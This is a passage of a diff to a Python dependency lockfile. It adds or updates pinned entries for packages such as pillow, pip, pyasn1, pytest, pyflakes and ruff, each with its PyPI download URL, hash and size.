"https://files.pythonhosted.org/packages/df/39/ecf519435a200c693fe053a6ee4d835b41cf963a4dfc2551c4e637cb2a71/pillow-12.3.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec", size = 3696433, upload-time = "2026-07-01T11:54:29.813Z" }, + { url = "https://files.pythonhosted.org/packages/42/92/2fc3ffad878ae8dd5469ec1bc8eb83b71f48e13efdf68f02709003982a32/pillow-12.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66", size = 5345889, upload-time = "2026-07-01T11:54:31.97Z" }, + { url = "https://files.pythonhosted.org/packages/10/76/8803c13605b763d33d156c4678fc77f8443389c0c51c8aef707bb02015f4/pillow-12.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35", size = 4780109, upload-time = "2026-07-01T11:54:34.026Z" }, + { url = "https://files.pythonhosted.org/packages/1f/01/e18aff37cb0b4aac47ac90f016d347a49aca667ef97f190b06ac2aabc928/pillow-12.3.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7401aebd7f581d7f83a439d87d474999317ee099218e5ad25d125290990ba65", size = 6263736, upload-time = "2026-07-01T11:54:36.131Z" }, + { url = "https://files.pythonhosted.org/packages/f7/62/de5bdd77d935331f4f802edc11e4d82950f642caad6cb2f949837b8560e2/pillow-12.3.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3", size = 6937129, upload-time = "2026-07-01T11:54:38.216Z" }, + { url = "https://files.pythonhosted.org/packages/70/4d/105627a13300c5e0df1d174230b32fd1273062c96f7745fd552b945d1e1d/pillow-12.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a", size = 6339562, upload-time = "2026-07-01T11:54:40.354Z" }, + { url = "https://files.pythonhosted.org/packages/6b/1d/f13de01a553988ab895ba1c722e06cf3144d4f57656fd5b81b6d881f1179/pillow-12.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e", size = 7049439, upload-time = "2026-07-01T11:54:42.489Z" }, + { url = "https://files.pythonhosted.org/packages/c9/f9/066794cca041b969964f779ee5fa66a9498bbf34248ac39c5d7954e4198f/pillow-12.3.0-cp313-cp313-win32.whl", hash = "sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f", size = 6473287, upload-time = "2026-07-01T11:54:44.9Z" }, + { url = "https://files.pythonhosted.org/packages/a6/9b/7a58e61d62be561da3a356fe2384d4059a6345fc130e23ef1c36a5b81d24/pillow-12.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8", size = 7239691, upload-time = "2026-07-01T11:54:47.141Z" }, + { url = "https://files.pythonhosted.org/packages/aa/b0/c4ed4f0ef8f8fa5ee8351537db6650bb8189f7e118842978dd6589065692/pillow-12.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b", size = 2568185, upload-time = "2026-07-01T11:54:49.137Z" }, + { url = "https://files.pythonhosted.org/packages/dc/01/001f65b68192f0228cc1dbbc8d2530ab5d58b61037ba0587f946fea607cd/pillow-12.3.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330", size = 4161736, upload-time = "2026-07-01T11:54:51.156Z" }, + { url = "https://files.pythonhosted.org/packages/1a/d2/0219746d0fd16fc8a84498e79452375be3797d3ce4044596ce565164b84f/pillow-12.3.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217", size = 4255435, upload-time = "2026-07-01T11:54:53.414Z" }, + { url = "https://files.pythonhosted.org/packages/c8/02/8d0bc62ef0302318c46ff2a512822d2610e81c7aa46c9b3abe6cbaca5ad0/pillow-12.3.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930", size = 3696262, upload-time = "2026-07-01T11:54:55.739Z" }, + { url = "https://files.pythonhosted.org/packages/85/e2/73c77d218410b14f5f2d565e8a998d5317b7b9c75368d29985139f7a46f0/pillow-12.3.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8", size = 5350344, upload-time = "2026-07-01T11:54:57.657Z" }, + { url = "https://files.pythonhosted.org/packages/c7/da/32c752228ae345f489e3a42499d817b6c3996da7e8a3bc7a04fc806b243b/pillow-12.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0", size = 4780131, upload-time = "2026-07-01T11:54:59.713Z" }, + { url = "https://files.pythonhosted.org/packages/b1/9d/8b2c807dbef61a5197c047afe99823787eb66f63daf9fb2432f91d6f0462/pillow-12.3.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9aeb04d6aef139de265b29683e119b638208f88cf73cdd1658aa07221165321", size = 6263757, upload-time = "2026-07-01T11:55:01.778Z" }, + { url = "https://files.pythonhosted.org/packages/5c/44/c85361f65dbe00eea8576ee467c768d25129989efb76e94f205e9ca9bb46/pillow-12.3.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b", size = 6936962, upload-time = "2026-07-01T11:55:03.93Z" }, + { url = "https://files.pythonhosted.org/packages/18/7e/e483414b35800b86b6f08dbbc7803fb5cd52c4d6f897f47d53ea2c7e6f65/pillow-12.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f785b0a0198", size = 6339171, upload-time = "2026-07-01T11:55:05.989Z" }, + { url = "https://files.pythonhosted.org/packages/f0/f4/68c491844841ede6bed70189546b3ee9731cf9f2cbad396faff5e1ccba45/pillow-12.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130", size = 7048116, upload-time = "2026-07-01T11:55:08.131Z" }, + { url = "https://files.pythonhosted.org/packages/a3/34/77f3f793fed8efc7d243f21b33c5a3f0d1c97ee70346d3db855587e155ff/pillow-12.3.0-cp314-cp314-win32.whl", hash = "sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a", size = 6467209, upload-time = "2026-07-01T11:55:10.408Z" }, + { url = "https://files.pythonhosted.org/packages/f1/e0/492879f69d94f91f60fc8cd05ba03650e9520afebb2fb7aa12777d7c7f38/pillow-12.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d", size = 7237707, upload-time = "2026-07-01T11:55:12.745Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ac/6b11f2875f1c2ac040d84e1bbf9cf22a88038f901ca1037898b280b38365/pillow-12.3.0-cp314-cp314-win_arm64.whl", hash = "sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838", size = 2565995, upload-time = "2026-07-01T11:55:14.736Z" }, + { url = "https://files.pythonhosted.org/packages/52/69/c2208e56af9bfc1913afb24020297a691eb1d4ef688474c8a04913f65e04/pillow-12.3.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e", size = 5352503, upload-time = "2026-07-01T11:55:17.076Z" }, + { url = "https://files.pythonhosted.org/packages/07/70/e5686d753e898a45d778ff1718dba8516ead6ab6b95d85fc8c4b70650cf2/pillow-12.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17", size = 4782956, upload-time = "2026-07-01T11:55:19.448Z" }, + { url = "https://files.pythonhosted.org/packages/d5/37/25c6692f06927ee973ff18c8d9ee98ad0b4d84ee67a09610c2dd1447958e/pillow-12.3.0-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385", size = 6322855, upload-time = "2026-07-01T11:55:21.613Z" }, + { url = "https://files.pythonhosted.org/packages/cc/91/420637fcb8f1bc11029e403b4538e6694744428d8246118e45719f944556/pillow-12.3.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c", size = 6989642, upload-time = "2026-07-01T11:55:24.006Z" }, + { url = "https://files.pythonhosted.org/packages/10/08/b94d7811281ccf0d143a1cf768d1c49e1e54af63e7b708ab2ee3eb87face/pillow-12.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d", size = 6391281, upload-time = "2026-07-01T11:55:26.252Z" }, + { url = "https://files.pythonhosted.org/packages/d2/87/24233f785f55474dc02ce3e739c5528a77e3a862e9333d1dd7a25cc31f70/pillow-12.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931", size = 7096716, upload-time = "2026-07-01T11:55:28.318Z" }, + { url = "https://files.pythonhosted.org/packages/23/26/fcb2f6e37175b04f53570b59937867e2b80ee1685e744023153028fc14f9/pillow-12.3.0-cp314-cp314t-win32.whl", hash = "sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7", size = 6474125, upload-time = "2026-07-01T11:55:30.956Z" }, + { url = "https://files.pythonhosted.org/packages/90/de/3634abee5f1c9e13c56787b7d5517b0ba8d6de51700b95578cf338349c9f/pillow-12.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c", size = 7242939, upload-time = "2026-07-01T11:55:34.044Z" }, + { url = "https://files.pythonhosted.org/packages/ce/2a/fd13f8eb24de5714a6eb444a3d67e2842c6c576e159a43793adf23051351/pillow-12.3.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45", size = 2567506, upload-time = "2026-07-01T11:55:35.988Z" }, + { url = "https://files.pythonhosted.org/packages/5d/dc/8fdce34ec725a33c81c6ba122b904d6b9024e50ea9ac7bede62fab54506c/pillow-12.3.0-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139", size = 4162063, upload-time = "2026-07-01T11:55:37.941Z" }, + { url = "https://files.pythonhosted.org/packages/76/66/2044b9a63d3b84ff048228dfcb7cd9bf0df983e8470971bf7d4c57b693de/pillow-12.3.0-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402", size = 4255549, upload-time = "2026-07-01T11:55:40.022Z" }, + { url = "https://files.pythonhosted.org/packages/52/7e/1f67e6f4ece6b582ee4b539decbcc9f848dc245a93ed8cd7338bafef72f1/pillow-12.3.0-cp315-cp315-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c", size = 3696331, upload-time = "2026-07-01T11:55:41.98Z" }, + { url = "https://files.pythonhosted.org/packages/12/40/d306fc2c8e4d45d7f175c77edca7063be7b86fe7fe6e68f4353bf71d808c/pillow-12.3.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f", size = 5350370, upload-time = "2026-07-01T11:55:44.028Z" }, + { url = "https://files.pythonhosted.org/packages/dd/44/668fb1437e8ce420f62d6106eb66e44a5971602a4d794615bdf79315d82d/pillow-12.3.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701", size = 4780147, upload-time = "2026-07-01T11:55:46.073Z" }, + { url = "https://files.pythonhosted.org/packages/0c/08/93fa2e70e30a2d81547e481b6ee2bb9522117221fb1e0ce4b5df70967677/pillow-12.3.0-cp315-cp315-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace", size = 6273659, upload-time = "2026-07-01T11:55:48.264Z" }, + { url = "https://files.pythonhosted.org/packages/f8/6d/043e96ff814fc31a33077e4cba86082167db520c93632afdf2042febbb0c/pillow-12.3.0-cp315-cp315-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4", size = 6947439, upload-time = "2026-07-01T11:55:50.503Z" }, + { url = "https://files.pythonhosted.org/packages/af/92/ba71d2ee2ac0edf3fa33bd9d5ee9ee080da70b1766f3ca3934f9938ddac9/pillow-12.3.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39", size = 6353577, upload-time = "2026-07-01T11:55:52.697Z" }, + { url = "https://files.pythonhosted.org/packages/0f/ce/e63064e2122923ff687c8ad792d0d736a7b3920a56a46982e81a7fdd25d6/pillow-12.3.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71", size = 7060394, upload-time = "2026-07-01T11:55:55.149Z" }, + { url = "https://files.pythonhosted.org/packages/54/76/a09cc3ccc8d773a7283d34c38bec1708f9e3cc932093cbc4c5e71ac4060b/pillow-12.3.0-cp315-cp315-win32.whl", hash = "sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827", size = 6467375, upload-time = "2026-07-01T11:55:57.769Z" }, + { url = "https://files.pythonhosted.org/packages/3e/03/1846c49ba3b1d5550392a4bbd06d6fb4578e1cd91a803198b5c90f5f7d53/pillow-12.3.0-cp315-cp315-win_amd64.whl", hash = "sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5", size = 7237048, upload-time = "2026-07-01T11:55:59.975Z" }, + { url = "https://files.pythonhosted.org/packages/fb/bb/89f35dcc79610423f9f195504d7def7f0d1416a711541b42867e25fe3412/pillow-12.3.0-cp315-cp315-win_arm64.whl", hash = "sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658", size = 2566006, upload-time = "2026-07-01T11:56:02.143Z" }, + { url = "https://files.pythonhosted.org/packages/30/88/707027ba09942dfa2c28759b5c222d769290a41c6d20ea60ec250801941f/pillow-12.3.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8da0ecc9cf", size = 5352509, upload-time = "2026-07-01T11:56:04.2Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6d/00352fa25332c2569cd387851f568cc5a4b75a9adbfb37ac4fbce4c02eec/pillow-12.3.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64", size = 4783167, upload-time = "2026-07-01T11:56:06.631Z" }, + { url = "https://files.pythonhosted.org/packages/13/4f/9e049dfa21af7c22427275720e2490267ba8138120add5c4c574deb69782/pillow-12.3.0-cp315-cp315t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e", size = 6329237, upload-time = "2026-07-01T11:56:08.868Z" }, + { url = "https://files.pythonhosted.org/packages/36/16/cf6eeaae8d0fce8dd390a33437cf68c5d5bd73834a2bc6e2f14efda0ab45/pillow-12.3.0-cp315-cp315t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777", size = 6997047, upload-time = "2026-07-01T11:56:11.379Z" }, + { url = "https://files.pythonhosted.org/packages/1e/69/dbf769bdd55f48bf5733cac28edc6364ffaa072ec9ba336266e4fe66be55/pillow-12.3.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1", size = 6400440, upload-time = "2026-07-01T11:56:13.908Z" }, + { url = "https://files.pythonhosted.org/packages/a0/e1/ffc9cfc2eea0d178da8018e18e959301ad9d6bc9f3edb7181e748a474b97/pillow-12.3.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9", size = 7105895, upload-time = "2026-07-01T11:56:16.575Z" }, + { url = "https://files.pythonhosted.org/packages/18/f0/a5595c1e8c3ae44b9828cb2f0fa8155e5095ef04d6327b8f61cf44a3df85/pillow-12.3.0-cp315-cp315t-win32.whl", hash = "sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8", size = 6474384, upload-time = "2026-07-01T11:56:18.855Z" }, + { url = "https://files.pythonhosted.org/packages/e4/04/62bcd9f844984c5938d3b05264a61d797a29d3e0812341a8204af70bbdee/pillow-12.3.0-cp315-cp315t-win_amd64.whl", hash = "sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418", size = 7243537, upload-time = "2026-07-01T11:56:21.214Z" }, + { url = "https://files.pythonhosted.org/packages/3d/68/1f3066acedf37673694a7141381d8f811ae97f30d34413d236abe7d489f1/pillow-12.3.0-cp315-cp315t-win_arm64.whl", hash = "sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59", size = 2567491, upload-time = "2026-07-01T11:56:23.506Z" }, + { url = "https://files.pythonhosted.org/packages/75/18/2e8b40223153ccbc60df07f9e8928dc0c76202aa4e55ae9f53962b6510d6/pillow-12.3.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468", size = 5302510, upload-time = "2026-07-01T11:56:25.736Z" }, + { url = "https://files.pythonhosted.org/packages/46/3e/51fabf59d5ab801ceab709453d3ab6b180083496579549de4c45ced6528a/pillow-12.3.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94", size = 4736058, upload-time = "2026-07-01T11:56:28.041Z" }, + { url = "https://files.pythonhosted.org/packages/bf/20/22fe9384b7949e25fb1293bcfc84fb82590ff4ea6b37c95b24d26d793d86/pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e", size = 5237776, upload-time = "2026-07-01T11:56:30.263Z" }, + { url = "https://files.pythonhosted.org/packages/08/14/f6ba68107680ffa74b39985f3f30884e41318fbc4250caa423c79b4788bb/pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3", size = 5860358, upload-time = "2026-07-01T11:56:32.68Z" }, + { url = "https://files.pythonhosted.org/packages/36/54/0169bc772ec491108b62f644f8ecf1fe5d8ae5ebafde2ee2142210166903/pillow-12.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a", size = 7231786, upload-time = "2026-07-01T11:56:35.046Z" }, +] + +[[package]] +name = "pip" +version = "26.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/91/47e7d486260f618783899587af63ccf7980fb60245c3e63dd4571c6b57ad/pip-26.1.2.tar.gz", hash = "sha256:f49cd134c61cf2fd75e0ce2676db03e4054504a5a4986d00f8299ae632dc4605", size = 1840799, upload-time = "2026-05-31T17:33:58.56Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5d/95/6b5cb3461ea5673ba0995989746db58eb18b91b54dbf331e72f569540946/pip-26.1.2-py3-none-any.whl", hash = "sha256:382ff9f685ee3bc25864f820aa50505825f10f5458ffff07e30a6d96e5715cab", size = 1813144, upload-time = "2026-05-31T17:33:56.772Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, ] [[package]] @@ -1462,11 +1533,11 @@ wheels = [ [[package]] name = "pyasn1" -version = "0.6.3" +version = "0.6.4" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/5c/5f/6583902b6f79b399c9c40674ac384fd9cd77805f9e6205075f828ef11fb2/pyasn1-0.6.3.tar.gz", hash = "sha256:697a8ecd6d98891189184ca1fa05d1bb00e2f84b5977c481452050549c8a72cf", size = 148685, upload-time = "2026-03-17T01:06:53.382Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a4/9a/23310166d960def5897e91fe20e5b724601b02a22e84ba1f94232c0b7f67/pyasn1-0.6.4.tar.gz", hash = "sha256:9c447d8431c947fe4c8febc4ed9e760bc29011a5b01e5c74b67025bd9fb8ce81", size = 151262, upload-time = "2026-07-09T01:12:33.988Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/5d/a0/7d793dce3fa811fe047d6ae2431c672364b462850c6235ae306c0efd025f/pyasn1-0.6.3-py3-none-any.whl", hash = "sha256:a80184d120f0864a52a073acc6fc642847d0be408e7c7252f31390c0f4eadcde", size = 83997, upload-time = "2026-03-17T01:06:52.036Z" }, + { url = "https://files.pythonhosted.org/packages/9a/3b/6163796d69c3977d1e4287bea4a6979161cbbdd170ebb430511e8e1999ce/pyasn1-0.6.4-py3-none-any.whl", hash = "sha256:deda9277cfd454080ec40b207fb6df82206a3a2688735233cdcd8d3d565f088b", size = 84410, upload-time = "2026-07-09T01:12:32.92Z" }, ] [[package]] @@ -1481,6 +1552,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a", size = 181259, upload-time = "2025-03-28T02:41:19.028Z" }, ] +[[package]] +name = "pycodestyle" +version = "2.14.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/11/e0/abfd2a0d2efe47670df87f3e3a0e2edda42f055053c85361f19c0e2c1ca8/pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783", size = 39472, upload-time = "2025-06-20T18:49:48.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d7/27/a58ddaf8c588a3ef080db9d0b7e0b97215cee3a45df74f3a94dbbf5c893a/pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d", size = 31594, upload-time = "2025-06-20T18:49:47.491Z" }, +] + [[package]] name = "pycparser" version = "3.0" @@ -1679,6 +1759,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" }, ] +[[package]] +name = "pyflakes" +version = "3.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/45/dc/fd034dc20b4b264b3d015808458391acbf9df40b1e54750ef175d39180b1/pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58", size = 64669, upload-time = "2025-06-20T18:45:27.834Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c2/2f/81d580a0fb83baeb066698975cb14a618bdbed7720678566f1b046a95fe8/pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f", size = 63551, upload-time = "2025-06-20T18:45:26.937Z" }, +] + [[package]] name = "pygments" version = "2.20.0" @@ -1824,6 +1913,23 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/dd/9f/4da6a1b9611af2397289b77d6fd08f5fe8f1f34dabc3bf85b0638d655e64/pyspnego-0.12.1-py3-none-any.whl", hash = "sha256:7237cb47985ccf5da512106ddb2731e4f9cefec00991f76c054488eb95fb1a2d", size = 130247, upload-time = "2026-03-02T20:16:08.331Z" }, ] +[[package]] +name = "pytest" +version = "7.4.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/80/1f/9d8e98e4133ffb16c90f3b405c43e38d3abb715bb5d7a63a5a684f7e46a3/pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280", size = 1357116, upload-time = "2023-12-31T12:00:18.035Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/ff/f6e8b8f39e08547faece4bd80f89d5a8de68a38b2d179cc1c4490ffa3286/pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8", size = 325287, upload-time = "2023-12-31T12:00:13.963Z" }, +] + [[package]] name = "python-dateutil" version = "2.9.0.post0" @@ -1879,6 +1985,54 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" }, ] +[[package]] +name = "ruff" +version = "0.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/77/2b/7ca27e854d92df5e681e6527dc0f9254c9dc06c8408317893cf96c851cdd/ruff-0.11.0.tar.gz", hash = "sha256:e55c620690a4a7ee6f1cccb256ec2157dc597d109400ae75bbf944fc9d6462e2", size = 3799407, upload-time = "2025-03-14T13:52:36.539Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/48/40/3d0340a9e5edc77d37852c0cd98c5985a5a8081fc3befaeb2ae90aaafd2b/ruff-0.11.0-py3-none-linux_armv6l.whl", hash = "sha256:dc67e32bc3b29557513eb7eeabb23efdb25753684b913bebb8a0c62495095acb", size = 10098158, upload-time = "2025-03-14T13:51:55.69Z" }, + { url = "https://files.pythonhosted.org/packages/ec/a9/d8f5abb3b87b973b007649ac7bf63665a05b2ae2b2af39217b09f52abbbf/ruff-0.11.0-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:38c23fd9bdec4eb437b4c1e3595905a0a8edfccd63a790f818b28c78fe345639", size = 10879071, upload-time = "2025-03-14T13:51:58.989Z" }, + { url = "https://files.pythonhosted.org/packages/ab/62/aaa198614c6211677913ec480415c5e6509586d7b796356cec73a2f8a3e6/ruff-0.11.0-py3-none-macosx_11_0_arm64.whl", hash = 